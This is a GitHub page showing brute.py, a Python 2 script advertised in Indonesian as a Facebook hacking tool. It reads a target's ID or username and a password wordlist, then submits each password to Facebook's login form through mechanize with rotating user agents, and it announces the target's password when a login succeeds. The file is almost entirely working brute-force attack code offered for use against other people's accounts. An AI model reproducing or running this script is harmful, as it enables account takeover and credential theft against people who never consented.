forked from Muhamadba/iqbalz_bf
-
Notifications
You must be signed in to change notification settings - Fork 0
/
brute.py
194 lines (168 loc) · 7.9 KB
/
brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#!usr
# -*- coding: UTF-8 -*-
# mod by: iqbalz noobs
# team: life of programmer
import os
import sys
import time
import random
import cookielib
import mechanize
wd = "\033[90;1m" # dark
GL = "\033[96;1m" # Blue aqua
BB = "\033[34;1m" # Blue light
YY = "\033[33;1m" # Yellow light
GG = "\033[32;1m" # Green light
WW = "\033[0;1m" # White light
RR = "\033[31;1m" # Red light
CC = "\033[36;1m" # Cyan light
B = "\033[34m" # Blue
Y = "\033[33;1m" # Yellow
G = "\033[32m" # Green
W = "\033[0;1m" # White
R = "\033[31m" # Red
C = "\033[36;1m" # Cyan
def runntxt(s):
for noobs in s + '\n':
sys.stdout.write(noobs)
sys.stdout.flush()
time.sleep(10. / 2100)
def banner():
os.system('clear')
print " "
runntxt(GL+" Assalamu'@laikum. ^_^")
runntxt(WW+' __________ __ ')
runntxt(GL+' \______ \_______ __ ___/ |_ ____ ')
runntxt(GG+' | | _/\_ __ \ | \ __\/ __ \ ')
runntxt(WW+' | | \ | | \/ | /| | \ ___/ ')
runntxt(GG+' |______ / |__| |____/ |__| \___ > ')
runntxt(Y+' \/ \/ ')
time.sleep(1.5)
print GG+" √=============================================√"
print GL+" |•••••• NEW TOOLS HACK FACEBOOK BF. ••••••|"
print GG+" √=============================================√"
print WW+" | MOD BY: IQBALZ NOOBS |"
print GL+" | Berdoa Dulu Sebelum Menggunakan |"
print WW+" | FACEBOOK: Iqbalznoobs |"
print Y+" | INSTAGRAM: IQBALZ5 |"
print GL+" |---------------------------------------------|"
print GL+" | LIFE OF PROGRAMMER [ L.O.P ] |"
print GL+" |---------------------------------------------|"
print GG+" √=============================================√"
print GL+" |••••••••• HACK FACEBOOK MAS ^_^ •••••••••|"
print GG+" √=============================================√"
banner()
print wd+" https://www.github.com/IqbalzNoobs "
print GG+"╭────\033[91m[\033[96m Masukkan ID\033[95m / \033[96mUsername Target\033[91m ] "
email_target = str(raw_input(GL+"\033[92m╰────➲\033[93m "))
print " "
print "\033[92m╭────\033[91m[ \033[96mMasukkan File Wordlist \033[95m( pass.txt ) \033[91;1m]"
password_list = str(raw_input(GG+"╰────➲\033[93m "))
login = 'https://www.facebook.com/login.php?login_attempt=1'
useragents = [('Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Geck')]
# useragents = [('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36','Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36','Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',)]
def pil():
print GG+" "
g = str(raw_input("[?] Hack Fb lagi..\033[93;1m[y/n]: "))
if g == 'y' or g == 'Y':
os.system('python2 brute.py')
elif g == 'n' or g == 'N':
print wd+"Keluar dari program..."
sys.exit()
else:
print RR+"Pilih yang bener cuk..."
pil()
def edit_wordlist():
print GG+" "
ed = str(raw_input("[?] Edit wordlist cuk.? \033[96;1m[y/n]: "))
if ed == 'y' or ed == 'Y':
os.system('nano '+password_list)
pil()
elif ed == 'n' or ed == 'N':
print wd+"Keluar Dari Program..."
sys.exit()
else:
print RR+"Pilih yg bener cuk..."
edit_wordlist()
def main():
global noobs
noobs = mechanize.Browser()
cj = cookielib.LWPCookieJar()
noobs.set_handle_robots(False)
noobs.set_handle_redirect(True)
noobs.set_cookiejar(cj)
noobs.set_handle_equiv(True)
noobs.set_handle_referer(True)
noobs.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
runn_noobs()
life()
print " "
print RR+" wordlist tidak ada yg cocok..."
print " "
def iqbalz(iqbalz_password):
try:
sys.stdout.write(GG+"\n[\033[91m+\033[92m]\033[91;1m [\033[97m"+email_target+"\033[91m]\033[90m Mencoba ==> \033[91m[\033[90;1m"+iqbalz_password)
sys.stdout.flush()
noobs.addheaders = [('User-agent', random.choice(useragents))]
site = noobs.open(login)
noobs.select_form(nr = 0)
noobs.form['email'] = email_target
noobs.form['pass'] = iqbalz_password
tom = noobs.submit()
mask = tom.geturl()
if mask != login and (not 'login_attempt' in mask):
print " "
print ("\033[96m S U C C E S S")
print " P A S S W O R D F I N D "
print RR+"+-------------------------------------------+"
print (RR+"#\033[97m ID / Email Target:\033[92m {}").format(email_target)
print (RR+"#\033[97m Password Target:\033[92m {}").format(iqbalz_password)
print " "
raw_input(WW+"TEKAN ENTER UNTUK KELUAR...")
sys.exit(1)
except KeyboardInterrupt:
print wd+"Stop......."
edit_wordlist()
sys.exit()
def life():
global iqbalz_password
password_nob = open(password_list, "r")
for iqbalz_password in password_nob:
password_nob = iqbalz_password.replace("\n","")
iqbalz(iqbalz_password)
def runn_noobs():
global password_list
lop = GG+"""
`.-://////:-.`
.:+o+:-..````..-:+o+:.
`:o+-` `:+o:`
`/o:` `:o/`
-s/` .-..` `..--` `/s-
/o. `:.`.-:----------:-.``:- .o/
/o` .:` ` -- `o/
-s. .:` -- .s-
o/ .:` -- +o
.s- :. `:` -s`
.s. :. `:` .s.
.s- -- .: -s.
o/ `-. `-. /o
-s. `--` `.-` .s-
/o` ----``..--..` `...--.` `o/
/o. `----` `-. `-. .o/
-o: -....... .. `:o-
`:o:``....-- .. `:o:`
`:+/-` `- .. `-/+:`
`-/+///..````..://+/-`
`.-::////::-.` \033[91;1m
\033[90;1mLife Of Programmer\033[91;1m
Powered by:\033[97mToko Bangunan
"""
print lop
nuub = open(password_list, 'r')
nuub = nuub.readlines()
print wd+" [#] ID / Username Target\033[97;1m: {}".format(email_target)
print wd+" [#] JUmlah Password saat ini\033[97;1m:", len(nuub),'password'
print wd+" [#] Tunggu Proses Cracking\033[97;1m.........."
print " "
if __name__=='__main__':
main()